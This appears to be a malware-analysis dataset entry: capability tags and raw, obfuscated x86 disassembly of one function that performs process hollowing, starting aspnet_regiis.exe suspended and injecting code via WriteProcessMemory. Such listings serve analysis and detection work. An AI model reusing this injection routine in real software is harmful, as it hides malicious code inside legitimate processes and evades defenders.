Function at 0x10003470
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0x2b0bc96
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x806448ec
je 0x1000739b
jmp 0x100034ac
mov eax, dword [ebp - 0x140]
sub eax, 0x8086278b
je 0x1000a93d
jmp 0x100034c2
mov eax, dword [ebp - 0x140]
sub eax, 0x80b74d49
je 0x10005d2d
jmp 0x100034d8
mov eax, dword [ebp - 0x140]
sub eax, 0x80e68200
je 0x10008c7c
jmp 0x100034ee
mov eax, dword [ebp - 0x140]
sub eax, 0x811af96a
je 0x100076b9
jmp 0x10003504
mov eax, dword [ebp - 0x140]
sub eax, 0x81f3a0c2
je 0x10006de2
jmp 0x1000351a
mov eax, dword [ebp - 0x140]
sub eax, 0x82dd7f8c
je 0x10005f96
jmp 0x10003530
mov eax, dword [ebp - 0x140]
sub eax, 0x836fcae9
je 0x100061ee
jmp 0x10003546
mov eax, dword [ebp - 0x140]
sub eax, 0x839ffea3
je 0x10007d6d
jmp 0x1000355c
mov eax, dword [ebp - 0x140]
sub eax, 0x83acb079
je 0x100092c6
jmp 0x10003572
mov eax, dword [ebp - 0x140]
sub eax, 0x84909787
je 0x1000a7ff
jmp 0x10003588
mov eax, dword [ebp - 0x140]
sub eax, 0x84e4c327
je 0x1000b4d3
jmp 0x1000359e
mov eax, dword [ebp - 0x140]
sub eax, 0x8502b364
je 0x10007eb4
jmp 0x100035b4
mov eax, dword [ebp - 0x140]
sub eax, 0x873d891f
je 0x1000b476
jmp 0x100035ca
mov eax, dword [ebp - 0x140]
sub eax, 0x87494d4c
je 0x10007714
jmp 0x100035e0
mov eax, dword [ebp - 0x140]
sub eax, 0x87e68263
je 0x10008bfc
jmp 0x100035f6
mov eax, dword [ebp - 0x140]
sub eax, 0x87e9de43
je 0x10009e2a
jmp 0x1000360c
mov eax, dword [ebp - 0x140]
sub eax, 0x88802ab1
je 0x1000a8a6
jmp 0x10003622
mov eax, dword [ebp - 0x140]
sub eax, 0x889d81c4
je 0x10005a56
jmp 0x10003638
mov eax, dword [ebp - 0x140]
sub eax, 0x890e17aa
je 0x1000a94c
jmp 0x1000364e
mov eax, dword [ebp - 0x140]
sub eax, 0x89f8904c
je 0x10008e72
jmp 0x10003664
mov eax, dword [ebp - 0x140]
sub eax, 0x8b150f14
je 0x10006db6
jmp 0x1000367a
mov eax, dword [ebp - 0x140]
sub eax, 0x8b3a12d7
je 0x10006360
jmp 0x10003690
mov eax, dword [ebp - 0x140]
sub eax, 0x8b6ca91f
je 0x1000a513
jmp 0x100036a6
mov eax, dword [ebp - 0x140]
sub eax, 0x8bbe1996
je 0x10005d3c
jmp 0x100036bc
mov eax, dword [ebp - 0x140]
sub eax, 0x8be5cb72
je 0x10008d72
jmp 0x100036d2
mov eax, dword [ebp - 0x140]
sub eax, 0x8c7c7f87
je 0x10005bcf
jmp 0x100036e8
mov eax, dword [ebp - 0x140]
sub eax, 0x8ccc77b2
je 0x1000b09f
jmp 0x100036fe
mov eax, dword [ebp - 0x140]
sub eax, 0x8d57efca
je 0x10006065
jmp 0x10003714
mov eax, dword [ebp - 0x140]
sub eax, 0x8dd1f36a
je 0x100093ea
jmp 0x1000372a
mov eax, dword [ebp - 0x140]
sub eax, 0x8de2d40b
je 0x1000724b
jmp 0x10003740
mov eax, dword [ebp - 0x140]
sub eax, 0x8e085884
je 0x100090ee
jmp 0x10003756
mov eax, dword [ebp - 0x140]
sub eax, 0x8eff61ef
je 0x1000ae7a
jmp 0x1000376c
mov eax, dword [ebp - 0x140]
sub eax, 0x8fc32bdd
je 0x10007b6f
jmp 0x10003782
mov eax, dword [ebp - 0x140]
sub eax, 0x8fd19d78
je 0x10005a09
jmp 0x10003798
mov eax, dword [ebp - 0x140]
sub eax, 0x9026a901
je 0x10006916
jmp 0x100037ae
mov eax, dword [ebp - 0x140]
sub eax, 0x90563373
je 0x10008b28
jmp 0x100037c4
mov eax, dword [ebp - 0x140]
sub eax, 0x9104fb01
je 0x10006b08
jmp 0x100037da
mov eax, dword [ebp - 0x140]
sub eax, 0x91873913
je 0x10009ffe
jmp 0x100037f0
mov eax, dword [ebp - 0x140]
sub eax, 0x91edfc36
je 0x100083a7
jmp 0x10003806
mov eax, dword [ebp - 0x140]
sub eax, 0x920342c1
je 0x10008d93
jmp 0x1000381c
mov eax, dword [ebp - 0x140]
sub eax, 0x922fa24b
je 0x10006437
jmp 0x10003832
mov eax, dword [ebp - 0x140]
sub eax, 0x926625ed
je 0x100088a6
jmp 0x10003848
mov eax, dword [ebp - 0x140]
sub eax, 0x92dd8fe5
je 0x1000b000
jmp 0x1000385e
mov eax, dword [ebp - 0x140]
sub eax, 0x931e9e79
je 0x10007093
jmp 0x10003874
mov eax, dword [ebp - 0x140]
sub eax, 0x9330a5aa
je 0x10007ad2
jmp 0x1000388a
mov eax, dword [ebp - 0x140]
sub eax, 0x9377f020
je 0x10008386
jmp 0x100038a0
mov eax, dword [ebp - 0x140]
sub eax, 0x942496bd
je 0x1000b21d
jmp 0x100038b6
mov eax, dword [ebp - 0x140]
sub eax, 0x943a65f3
je 0x10006a88
jmp 0x100038cc
mov eax, dword [ebp - 0x140]
sub eax, 0x954b3b94
je 0x10006f21
jmp 0x100038e2
mov eax, dword [ebp - 0x140]
sub eax, 0x96633d5b
je 0x10007880
jmp 0x100038f8
mov eax, dword [ebp - 0x140]
sub eax, 0x96bc2481
je 0x10006709
jmp 0x1000390e
mov eax, dword [ebp - 0x140]
sub eax, 0x9943c893
je 0x1000adab
jmp 0x10003924
mov eax, dword [ebp - 0x140]
sub eax, 0x9945da4c
je 0x100062c7
jmp 0x1000393a
mov eax, dword [ebp - 0x140]
sub eax, 0x99aa3a0b
je 0x1000a25e
jmp 0x10003950
mov eax, dword [ebp - 0x140]
sub eax, 0x9ac516d4
je 0x1000ae35
jmp 0x10003966
mov eax, dword [ebp - 0x140]
sub eax, 0x9ad9cc3f
je 0x10005c5e
jmp 0x1000397c
mov eax, dword [ebp - 0x140]
sub eax, 0x9b288240
je 0x1000a2ae
jmp 0x10003992
mov eax, dword [ebp - 0x140]
sub eax, 0x9d2e4001
je 0x10007022
jmp 0x100039a8
mov eax, dword [ebp - 0x140]
sub eax, 0x9d3658d7
je 0x10006169
jmp 0x100039be
mov eax, dword [ebp - 0x140]
sub eax, 0x9e6897d3
je 0x1000a95b
jmp 0x100039d4
mov eax, dword [ebp - 0x140]
sub eax, 0x9f4be9ad
je 0x1000795c
jmp 0x100039ea
mov eax, dword [ebp - 0x140]
sub eax, 0x9f51f864
je 0x1000acf1
jmp 0x10003a00
mov eax, dword [ebp - 0x140]
sub eax, 0x9fcee406
je 0x1000919f
jmp 0x10003a16
mov eax, dword [ebp - 0x140]
sub eax, 0xa007f009
je 0x10006579
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0x2c63f5a7
jmp 0x1000b601
movss xmm0, dword [0x10018398]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0x36917d1f
jmp 0x1000b601
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x3edbdaab
sub edx, 1
sub edx, 0x3edbdaab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f51f864
mov ecx, 0xe27ce6a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x41e2b82a
sub edx, 1
sub edx, 0x41e2b82a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb567bc01
mov ecx, 0x2e618d56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x8bbe1996
jmp 0x1000b601
mov dl, 1
mov eax, 0x265aa782
mov ecx, 0xac94b7c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0xa64cfbfd
jmp 0x1000b601
mov dl, 1
mov eax, 0xeb508e23
mov ecx, 0x9b0e83f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x25a9a095
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9943c893
mov ecx, 0x332276aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0x5cbd214c
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x73bea0ef
sub edx, 1
sub edx, 0x73bea0ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ff29d19
mov ecx, 0x77d52be8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x3f1ae5fc
jmp 0x1000b601
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe80bcff0
mov ecx, 0x337ab21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x8f333470
sub edx, 1
add edx, 0x8f333470
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ac516d4
mov ecx, 0xe1f3c165
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dl, 1
mov eax, 0x6a62791f
mov ecx, 0x39f0453f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xbf4472d8
sub edx, 1
add edx, 0xbf4472d8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb2719b15
mov ecx, 0xe6154726
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x50c3b78a
jmp 0x1000b601
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1001833c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10018338]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xa5939ae4
jmp 0x1000b601
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10018330]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1001832c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x5fd70391
jmp 0x1000b601
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10018328]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xaa4c62b8
jmp 0x1000b601
mov dword [ebp - 0x13c], 0xc0550fe5
jmp 0x1000b601
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbff2fb95
mov ecx, 0x33e4857d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x73627636
sub edx, 1
add edx, 0x73627636
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d65d6f2
mov ecx, 0xdc1be3cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xccd09c7f
mov ecx, 0x87494d4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0xf6b86a64
jmp 0x1000b601
mov dword [ebp - 0x13c], 0xbfaef9d7
jmp 0x1000b601
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100182ec]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xc0c9bf2d
mov ecx, 0xae34a5b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dl, 1
mov eax, 0x5f9ed6bd
mov ecx, 0xf424aee8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100182d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x745b0d0d
jmp 0x1000b601
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xe3b3f83a
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce5119db
mov ecx, 0xaa34d337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100182a0]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x91edfc36
jmp 0x1000b601
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001829c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x455e8a70
jmp 0x1000b601
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x13d9b968
jmp 0x1000b601
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018268]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xf84cb159
jmp 0x1000b601
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018250]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xc21b505c
mov ecx, 0xb109ef1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x8dcfc3c4
sub edx, 1
add edx, 0x8dcfc3c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5092997
mov ecx, 0xe6e47f37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x920342c1
jmp 0x1000b601
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018244]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x66e18f3b
jmp 0x1000b601
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018230]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001822c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x457d9531
jmp 0x1000b601
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x3c]
sub eax, 0x8d10c692
add eax, ecx
add eax, 0x8d10c692
mov dword [ebp - 0xb8], eax
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32b06021
mov ecx, 0x1359e022
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xa82560d6
sub edx, 1
add edx, 0xa82560d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x942496bd
mov ecx, 0x4bad5c19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0xd5ad99be
jmp 0x1000b601
mov eax, dword [ebp - 0xfc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xff76009a
jmp 0x1000b601
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xdc]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x13c], 0xa14c8c92
jmp 0x1000b601
mov ecx, dword [ebp - 0x58]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaaf6d89a
mov ecx, 0xedf38d6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dl, byte [ebp - 0x4e]
mov eax, 0xb535f458
mov ecx, 0xde2a0b7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dl, byte [ebp - 0x4d]
mov eax, 0xcebaa2e0
mov ecx, 0x6873674d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x13c], 0x48bd105
jmp 0x1000b601
mov dl, byte [ebp - 0x25]
mov eax, 0x8086278b
mov ecx, 0x2af285d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x39e9c7b8
sub edx, 1
sub edx, 0x39e9c7b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf34c1768
mov ecx, 0x2f0853d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x890e17aa
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x9e6897d3
jmp 0x1000b601
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
sub eax, 0x985cc04a
add eax, 1
add eax, 0x985cc04a
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x13c], 0x467d3ebc
jmp 0x1000b601
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0x8c7c7f87
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x836fcae9
jmp 0x1000b601
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x9026a901
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x41cdb92a
jmp 0x1000b601
mov dword [ebp - 0x13c], 0x4891890a
jmp 0x1000b601
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100181b4]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xa2639aa9
jmp 0x1000b601
mov eax, dword [ebp - 0x108]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000c7e0
add esp, 0xc
mov eax, dword [ebp - 0x104]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000c7e0
add esp, 0xc
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x13c], 0x4bad5c19
jmp 0x1000b601
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x13c], 0x1f9f751
jmp 0x1000b601
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x13c], 0xe42a0d00
jmp 0x1000b601
jmp 0x10003490